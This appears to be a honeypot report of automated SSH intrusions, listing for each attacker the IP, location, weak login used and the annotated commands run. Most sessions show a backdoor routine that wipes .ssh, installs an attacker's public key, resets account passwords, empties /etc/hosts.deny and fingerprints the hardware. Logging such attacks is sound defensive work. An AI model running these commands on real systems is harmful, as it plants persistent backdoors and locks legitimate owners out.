🎭 borscht_root (5.188.89.111) — Moscow, Russia · 2 sessions · 40 cmds

2026-07-08 06:05 EDT · as gmodserver/gmodserver, ubuntu/aA123456@

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "aA123456@\n4YCUc0CHQRHm\n4YCUc0CHQRHm"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "aA123456@\n4YCUc0CHQRHm\n4YCUc0CHQRHm\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "gmodserver\ntqtzkpiWIaG0\ntqtzkpiWIaG0"|passwd|bash

$ echo "gmodserver\ntqtzkpiWIaG0\ntqtzkpiWIaG0\n"|passwd

🎭 fog_root_2 (5.181.124.187) — City of London, United Kingdom · 2 sessions · 40 cmds

2026-07-08 06:03 EDT · as gmodserver/gmodserver, ubuntu/aA123456@

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "gmodserver\nNJvRE8gq4RAM\nNJvRE8gq4RAM"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "gmodserver\nNJvRE8gq4RAM\nNJvRE8gq4RAM\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "aA123456@\n6gi4EAuEqtcf\n6gi4EAuEqtcf"|passwd|bash

$ echo "aA123456@\n6gi4EAuEqtcf\n6gi4EAuEqtcf\n"|passwd

🎭 stein_root_5 (134.122.93.100) — Frankfurt am Main, Germany · 2 sessions · 39 cmds

2026-07-01 15:38 EDT · as root/root123@, ubuntu/aA123456@

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "aA123456@\nBeK4TKINjsgQ\nBeK4TKINjsgQ"|passwd|bash

$ Enter new UNIX password:

$ echo "aA123456@\nBeK4TKINjsgQ\nBeK4TKINjsgQ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:tEvFbNyY6u7m"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 cowboy_root_9 (192.129.183.139) — Los Angeles, United States · 1 session · 20 cmds

2026-07-08 06:02 EDT · as test123/12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "12345\n5XKsFtpMv4XW\n5XKsFtpMv4XW"|passwd|bash

$ Enter new UNIX password:

$ echo "12345\n5XKsFtpMv4XW\n5XKsFtpMv4XW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_27 (182.253.156.184) — West Jakarta, Indonesia · 1 session · 20 cmds

2026-07-08 06:02 EDT · as test/0

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "0\nL0NoS6Y0WXrt\nL0NoS6Y0WXrt"|passwd|bash

$ Enter new UNIX password:

$ echo "0\nL0NoS6Y0WXrt\nL0NoS6Y0WXrt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root_11 (157.230.223.165) — North Bergen, United States · 1 session · 20 cmds

2026-07-08 05:17 EDT · as user2/12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "12345\nsrLHhiT71Cb9\nsrLHhiT71Cb9"|passwd|bash

$ Enter new UNIX password:

$ echo "12345\nsrLHhiT71Cb9\nsrLHhiT71Cb9\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_28 (46.29.234.126) — Vilnius, Lithuania · 1 session · 20 cmds

2026-07-08 03:55 EDT · as username/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "password\nEjD64Z89ELhZ\nEjD64Z89ELhZ"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nEjD64Z89ELhZ\nEjD64Z89ELhZ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_26 (202.155.157.131) — Jakarta, Indonesia · 1 session · 19 cmds

2026-07-08 03:22 EDT · as root/qwert12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:7xqYNhZKgTzo"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_root_8 (115.191.66.84) — Beijing, China · 1 session · 19 cmds

2026-07-08 02:43 EDT · as root/test2018

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:WsmFDOilLlmY"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 abba_root (171.25.158.70) — Vaxjo, Sweden · 1 session · 19 cmds

2026-07-08 02:40 EDT · as root/Aa11223344

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ksqTPCO0faMi"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 acai_root_3 (45.164.39.253) — Foz do Iguaçu, Brazil · 1 session · 19 cmds

2026-07-08 02:33 EDT · as root/Aa11223344

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ghtXLgxYkswp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sensei_root (160.251.182.78) — Chiyoda City, Japan · 1 session · 20 cmds

2026-07-08 01:56 EDT · as devops/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "12345678\nTaCkbIM3DH37\nTaCkbIM3DH37"|passwd|bash

$ Enter new UNIX password:

$ echo "12345678\nTaCkbIM3DH37\nTaCkbIM3DH37\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_2 (49.51.193.121) — Santa Clara, United States · 1 session · 20 cmds

2026-07-08 01:37 EDT · as teamspeak/123qwe

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123qwe\ntQ0VbNQMW5Lc\ntQ0VbNQMW5Lc"|passwd|bash

$ Enter new UNIX password:

$ echo "123qwe\ntQ0VbNQMW5Lc\ntQ0VbNQMW5Lc\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_25 (103.250.11.25) — Singapore, Singapore · 1 session · 20 cmds

2026-07-08 01:35 EDT · as test/Q!W@E#R$

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Q!W@E#R$\nnwCHFlLyQUkn\nnwCHFlLyQUkn"|passwd|bash

$ Enter new UNIX password:

$ echo "Q!W@E#R$\nnwCHFlLyQUkn\nnwCHFlLyQUkn\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_7 (122.114.241.136) — Zhengzhou, China · 1 session · 16 cmds

2026-07-07 22:10 EDT · as root/sb123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

